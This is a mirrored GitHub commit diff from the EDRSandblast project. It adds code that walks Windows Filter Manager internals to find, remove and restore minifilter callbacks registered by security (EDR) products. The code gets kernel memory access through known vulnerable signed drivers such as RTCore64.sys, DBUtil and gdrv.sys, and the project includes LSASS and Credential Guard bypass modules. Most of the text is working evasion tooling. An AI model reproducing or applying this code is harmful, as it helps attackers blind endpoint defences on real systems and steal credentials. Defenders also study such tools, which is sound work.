mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-08-08 12:53:05 +00:00
Merge pull request #22 from wavestone-cdt/minifilters
Finished implementing minifilter handling
This commit is contained in:
@@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* RTCore driver allows to write 1, 2 or 4 bytes at a type
|
* RTCore driver allows to write 1, 2 or 4 bytes at a time
|
||||||
*/
|
*/
|
||||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||||
while (Size) {
|
while (Size) {
|
||||||
|
|||||||
@@ -171,11 +171,13 @@
|
|||||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||||
<ClCompile Include="KernellandBypass\KernelDSE.c" />
|
<ClCompile Include="KernellandBypass\KernelDSE.c" />
|
||||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||||
|
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c" />
|
||||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||||
<ClCompile Include="Utils\CiOffsets.c" />
|
<ClCompile Include="Utils\CiOffsets.c" />
|
||||||
<ClCompile Include="Utils\FileUtils.c" />
|
<ClCompile Include="Utils\FileUtils.c" />
|
||||||
|
<ClCompile Include="Utils\FltmgrOffsets.c" />
|
||||||
<ClCompile Include="Utils\HttpClient.c" />
|
<ClCompile Include="Utils\HttpClient.c" />
|
||||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||||
@@ -209,7 +211,9 @@
|
|||||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||||
<ClInclude Include="Includes\DriverGDRV.h" />
|
<ClInclude Include="Includes\DriverGDRV.h" />
|
||||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||||
|
<ClInclude Include="Includes\FltmgrOffsets.h" />
|
||||||
<ClInclude Include="Includes\KernelDSE.h" />
|
<ClInclude Include="Includes\KernelDSE.h" />
|
||||||
|
<ClInclude Include="Includes\MinifilterCallbacks.h" />
|
||||||
<ClInclude Include="Includes\PrintFunctions.h" />
|
<ClInclude Include="Includes\PrintFunctions.h" />
|
||||||
<ClInclude Include="Includes\PdbParser.h" />
|
<ClInclude Include="Includes\PdbParser.h" />
|
||||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||||
|
|||||||
@@ -129,6 +129,12 @@
|
|||||||
<ClCompile Include="Utils\PdbParser.c">
|
<ClCompile Include="Utils\PdbParser.c">
|
||||||
<Filter>Source Files</Filter>
|
<Filter>Source Files</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\FltmgrOffsets.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="Includes\CredGuard.h">
|
<ClInclude Include="Includes\CredGuard.h">
|
||||||
@@ -254,6 +260,12 @@
|
|||||||
<ClInclude Include="Includes\PdbParser.h">
|
<ClInclude Include="Includes\PdbParser.h">
|
||||||
<Filter>Header Files</Filter>
|
<Filter>Header Files</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\MinifilterCallbacks.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\FltmgrOffsets.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
enum FltmgrOffsetType {
|
||||||
|
FltGlobals = 0,
|
||||||
|
_GLOBALS_FrameList,
|
||||||
|
_FLT_RESOURCE_LIST_HEAD_rList,
|
||||||
|
_FLTP_FRAME_Links,
|
||||||
|
_FLTP_FRAME_RegisteredFilters,
|
||||||
|
_FLT_OBJECT_PrimaryLink,
|
||||||
|
_FLT_FILTER_DriverObject,
|
||||||
|
_FLT_FILTER_InstanceList,
|
||||||
|
_DRIVER_OBJECT_DriverInit,
|
||||||
|
_FLT_INSTANCE_CallbackNodes,
|
||||||
|
_FLT_INSTANCE_FilterLink,
|
||||||
|
_SUPPORTED_FLTMGR_OFFSETS_END
|
||||||
|
};
|
||||||
|
|
||||||
|
union FltmgrOffsets {
|
||||||
|
// structure version of fltmgr.sys's offsets
|
||||||
|
struct {
|
||||||
|
DWORD64 FltGlobals;
|
||||||
|
DWORD64 _GLOBALS_FrameList;
|
||||||
|
DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
|
||||||
|
DWORD64 _FLTP_FRAME_Links;
|
||||||
|
DWORD64 _FLTP_FRAME_RegisteredFilters;
|
||||||
|
DWORD64 _FLT_OBJECT_PrimaryLink;
|
||||||
|
DWORD64 _FLT_FILTER_DriverObject;
|
||||||
|
DWORD64 _FLT_FILTER_InstanceList;
|
||||||
|
DWORD64 _DRIVER_OBJECT_DriverInit;
|
||||||
|
DWORD64 _FLT_INSTANCE_CallbackNodes;
|
||||||
|
DWORD64 _FLT_INSTANCE_FilterLink;
|
||||||
|
} st;
|
||||||
|
|
||||||
|
// array version (usefull for code factoring)
|
||||||
|
DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
|
||||||
|
};
|
||||||
|
|
||||||
|
union FltmgrOffsets g_fltmgrOffsets;
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
|
||||||
|
void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
|
||||||
|
|
||||||
|
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
|
||||||
|
|
||||||
|
LPTSTR GetFltmgrPath();
|
||||||
|
LPTSTR GetFltmgrVersion();
|
||||||
@@ -20,7 +20,8 @@
|
|||||||
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
||||||
enum kernel_callback_type_e {
|
enum kernel_callback_type_e {
|
||||||
NOTIFY_ROUTINE_CB,
|
NOTIFY_ROUTINE_CB,
|
||||||
OBJECT_CALLBACK
|
OBJECT_CALLBACK,
|
||||||
|
MINIFILTER_CALLBACK,
|
||||||
};
|
};
|
||||||
struct KRNL_CALLBACK {
|
struct KRNL_CALLBACK {
|
||||||
enum kernel_callback_type_e type;
|
enum kernel_callback_type_e type;
|
||||||
@@ -34,17 +35,21 @@ struct KRNL_CALLBACK {
|
|||||||
struct object_callback_t {
|
struct object_callback_t {
|
||||||
DWORD64 enable_addr;
|
DWORD64 enable_addr;
|
||||||
} object_callback;
|
} object_callback;
|
||||||
|
struct minifilter_callback_t {
|
||||||
|
DWORD64 callback_node;
|
||||||
|
} minifilter_callback;
|
||||||
} addresses;
|
} addresses;
|
||||||
DWORD64 callback_func;
|
DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
|
||||||
BOOL removed;
|
BOOL removed;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct FOUND_EDR_CALLBACKS {
|
struct FOUND_EDR_CALLBACKS {
|
||||||
DWORD64 index;
|
SIZE_T size;
|
||||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
SIZE_T max_size;
|
||||||
|
struct KRNL_CALLBACK* EDR_CALLBACKS;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback);
|
||||||
|
|
||||||
BOOL isDriverEDR(TCHAR* driver);
|
BOOL isDriverEDR(TCHAR* driver);
|
||||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||||
|
|||||||
@@ -6,23 +6,28 @@
|
|||||||
#define DBUtil 1
|
#define DBUtil 1
|
||||||
#define GDRV 2
|
#define GDRV 2
|
||||||
// Select the driver to use with the following #define
|
// Select the driver to use with the following #define
|
||||||
#define VULN_DRIVER RTCore
|
#define VULN_DRIVER GDRV
|
||||||
|
|
||||||
|
//TODO : design a way to make an atomic write given a non-atomic one
|
||||||
|
//idea : modify a PTE to mark a page userland-reachable and perform the write from the process
|
||||||
#if VULN_DRIVER == RTCore
|
#if VULN_DRIVER == RTCore
|
||||||
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
||||||
#define CloseDriverHandle CloseDriverHandle_RTCore
|
#define CloseDriverHandle CloseDriverHandle_RTCore
|
||||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
||||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
||||||
|
#define WriteMemoryPrimitiveIsAtomic 0 //RTCore only allows to write up to a DWORD at a time
|
||||||
#elif VULN_DRIVER == DBUtil
|
#elif VULN_DRIVER == DBUtil
|
||||||
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
||||||
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
||||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
||||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
||||||
|
#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
|
||||||
#elif VULN_DRIVER == GDRV
|
#elif VULN_DRIVER == GDRV
|
||||||
#define DEFAULT_DRIVER_FILE TEXT("gdrv.sys")
|
#define DEFAULT_DRIVER_FILE TEXT("gdrv.sys")
|
||||||
#define CloseDriverHandle CloseDriverHandle_GDRV
|
#define CloseDriverHandle CloseDriverHandle_GDRV
|
||||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV
|
#define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV
|
||||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV
|
#define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV
|
||||||
|
#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
BYTE ReadMemoryBYTE(DWORD64 Address);
|
BYTE ReadMemoryBYTE(DWORD64 Address);
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "KernelCallbacks.h"
|
||||||
|
|
||||||
|
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
|
||||||
|
#if WriteMemoryPrimitiveIsAtomic
|
||||||
|
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
|
||||||
|
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
|
||||||
|
#endif
|
||||||
@@ -32,7 +32,8 @@ union WdigestOffsets {
|
|||||||
|
|
||||||
union WdigestOffsets g_wdigestOffsets;
|
union WdigestOffsets g_wdigestOffsets;
|
||||||
|
|
||||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
// TODO : create a LoadWdigestOffsets function like LoadCiOffsets
|
||||||
|
// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets
|
||||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
||||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
||||||
|
|
||||||
|
|||||||
@@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
|||||||
|
|
||||||
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
||||||
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
||||||
|
|
||||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||||
@@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
||||||
DWORD64 driverOffset;
|
DWORD64 driverOffset;
|
||||||
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
||||||
|
|
||||||
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
||||||
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
||||||
@@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
||||||
newFoundDriver.callback_func = cbFunction;
|
newFoundDriver.callback_func = cbFunction;
|
||||||
|
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver);
|
||||||
if (verbose) {
|
if (verbose) {
|
||||||
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
||||||
}
|
}
|
||||||
@@ -58,32 +58,31 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
}
|
}
|
||||||
newFoundDriver.removed = FALSE;
|
newFoundDriver.removed = FALSE;
|
||||||
|
|
||||||
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
|
AddFoundKernelCallback(edrCallbacks, &newFoundDriver);
|
||||||
edrCallbacks->index++;
|
|
||||||
CurrentEDRCallbacksCount++;
|
CurrentEDRCallbacksCount++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CurrentEDRCallbacksCount == 0) {
|
if (CurrentEDRCallbacksCount == 0) {
|
||||||
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
|
_putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!"));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
||||||
}
|
}
|
||||||
return CurrentEDRCallbacksCount > 0;
|
return CurrentEDRCallbacksCount > 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||||
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
||||||
|
|
||||||
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
for (DWORD i = 0; i < edrCallbacks->size; ++i) {
|
||||||
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
||||||
if (cb->type == NOTIFY_ROUTINE_CB &&
|
if (cb->type == NOTIFY_ROUTINE_CB &&
|
||||||
cb->addresses.notify_routine.type == notifyRoutineType &&
|
cb->addresses.notify_routine.type == notifyRoutineType &&
|
||||||
cb->removed == !remove) {
|
cb->removed == !remove) {
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
||||||
action,
|
action,
|
||||||
cb->driver_name,
|
cb->driver_name,
|
||||||
cb->addresses.notify_routine.callback_struct_addr,
|
cb->addresses.notify_routine.callback_struct_addr,
|
||||||
@@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
|||||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c
|
||||||
|
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) {
|
||||||
|
if (foundCallbacks->size == foundCallbacks->max_size) {
|
||||||
|
foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1;
|
||||||
|
PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK));
|
||||||
|
if (tmp == NULL) {
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
foundCallbacks->EDR_CALLBACKS = tmp;
|
||||||
|
}
|
||||||
|
foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback;
|
||||||
|
foundCallbacks->size++;
|
||||||
|
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,215 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#include <assert.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "FltmgrOffsets.h"
|
||||||
|
#include "IsEDRChecks.h"
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "KernelUtils.h"
|
||||||
|
#include "PrintFunctions.h"
|
||||||
|
#include "PdbSymbols.h"
|
||||||
|
#include "MinifilterCallbacks.h"
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
This function browses the internal structures of the Filter Manager to enumerate callbacks registered
|
||||||
|
by EDR products.
|
||||||
|
|
||||||
|
To provide a quick context about the different internal structures:
|
||||||
|
- The Filter Manager establishes a "frame" (_FLTP_FRAME) as its root structure;
|
||||||
|
- A "volume" structure (_FLT_VOLUME) is instanciated for each "disk" managed by the Filter Manager (can be partitions,
|
||||||
|
shadow copies, or special ones corresponding to named pipes or remote file systems);
|
||||||
|
- To each registered minifilter driver corresponds a "filter" structure (_FLT_FILTER), describing various properties such
|
||||||
|
as its supported operations;
|
||||||
|
- These minifilters are not all attached to each volume; an "instance" (_FLT_INSTANCE) structure is created to mark each of the
|
||||||
|
filter<->volume association;
|
||||||
|
- Minifilters register callback functions that are executed before and/or after specific operation (file open, write, read, etc.).
|
||||||
|
These callbacks are described in _CALLBACK_NODE structures. An array of all _CALLBACK_NODE implemented by an instance of a
|
||||||
|
minifilter can be found in _FLT_INSTANCE; the array indexed by the IRP "major function" code, a constant representing the operation
|
||||||
|
affected by the callback (IRP_MJ_CREATE, IRP_MJ_READ, etc.).
|
||||||
|
Moreover, all _CALLBACK_NODEs implemented by instances linked to a specific volume are regrouped in linked lists, stored in the
|
||||||
|
_FLT_VOLUME.Callbacks.OperationLists array indexed by IRP major function codes.
|
||||||
|
|
||||||
|
Upon a specific operation (for example, a file opening on C:), the appropriate _FLT_VOLUME is recovered from the _FLTP_FRAME structure
|
||||||
|
(AttachedVolumes's list), the _FLT_VOLUME.Callbacks.OperationLists[irpMajorFunctionCode] list of _CALLBACK_NODE is browsed and callbacks
|
||||||
|
functions are executed.
|
||||||
|
|
||||||
|
In order to detect EDR-related callbacks, the following function:
|
||||||
|
- Enumerates the frames (_FLTP_FRAME) thanks to a list stored in a global variable of fltmgr.sys: ((_GLOBALS*)&FltGlobals)->FrameList.rList
|
||||||
|
- Enumerates the filters (_FLT_FILTER) of the frame: ((_FLTP_FRAME*)currentFrame)->RegisteredFilters.rList
|
||||||
|
- Checks if the driver implementing the filter is EDR-related (checks the name of the module where
|
||||||
|
(_FLT_FILTER*)currentFilter->DriverObject->DriverInit is implemented)
|
||||||
|
- If the driver is an EDR, enumerate all instances of the associated filter, by browsing ((_FLT_FILTER*)currentFilter)->InstanceList.rList
|
||||||
|
- For each instance, enumerate the CallbackNodes array, whose non-NULL entries directly point to _CALLBACK_NODEs in their respective
|
||||||
|
lists in _FLT_VOLUME.Callbacks.OperationLists
|
||||||
|
*/
|
||||||
|
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
|
||||||
|
BOOL edrCallbacksWereFound = FALSE;
|
||||||
|
|
||||||
|
DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
|
||||||
|
if (!fltmgr_base)
|
||||||
|
return -1;
|
||||||
|
if (verbose) {
|
||||||
|
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
|
||||||
|
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
|
||||||
|
+ g_fltmgrOffsets.st.FltGlobals);
|
||||||
|
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
|
||||||
|
+ g_fltmgrOffsets.st.FltGlobals
|
||||||
|
+ g_fltmgrOffsets.st._GLOBALS_FrameList
|
||||||
|
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
|
||||||
|
}
|
||||||
|
|
||||||
|
_putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
|
||||||
|
DWORD64 frame_list_header = fltmgr_base
|
||||||
|
+ g_fltmgrOffsets.st.FltGlobals
|
||||||
|
+ g_fltmgrOffsets.st._GLOBALS_FrameList
|
||||||
|
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||||
|
for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
|
||||||
|
current_frame_shifted != frame_list_header;
|
||||||
|
current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
|
||||||
|
) {
|
||||||
|
DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
|
||||||
|
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
|
||||||
|
|
||||||
|
DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||||
|
for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
|
||||||
|
current_filter_shifted != filter_list_header;
|
||||||
|
current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
|
||||||
|
) {
|
||||||
|
DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
|
||||||
|
|
||||||
|
|
||||||
|
// check if current filter is EDR-related
|
||||||
|
DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
|
||||||
|
DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
|
||||||
|
DWORD64 driverOffset;
|
||||||
|
TCHAR* driver = FindDriverName(driverInit, &driverOffset);
|
||||||
|
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
|
||||||
|
|
||||||
|
if (driver && isDriverNameMatchingEDR(driver)) {
|
||||||
|
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
|
||||||
|
|
||||||
|
DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||||
|
for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
|
||||||
|
current_instance_shifted != instance_list_header;
|
||||||
|
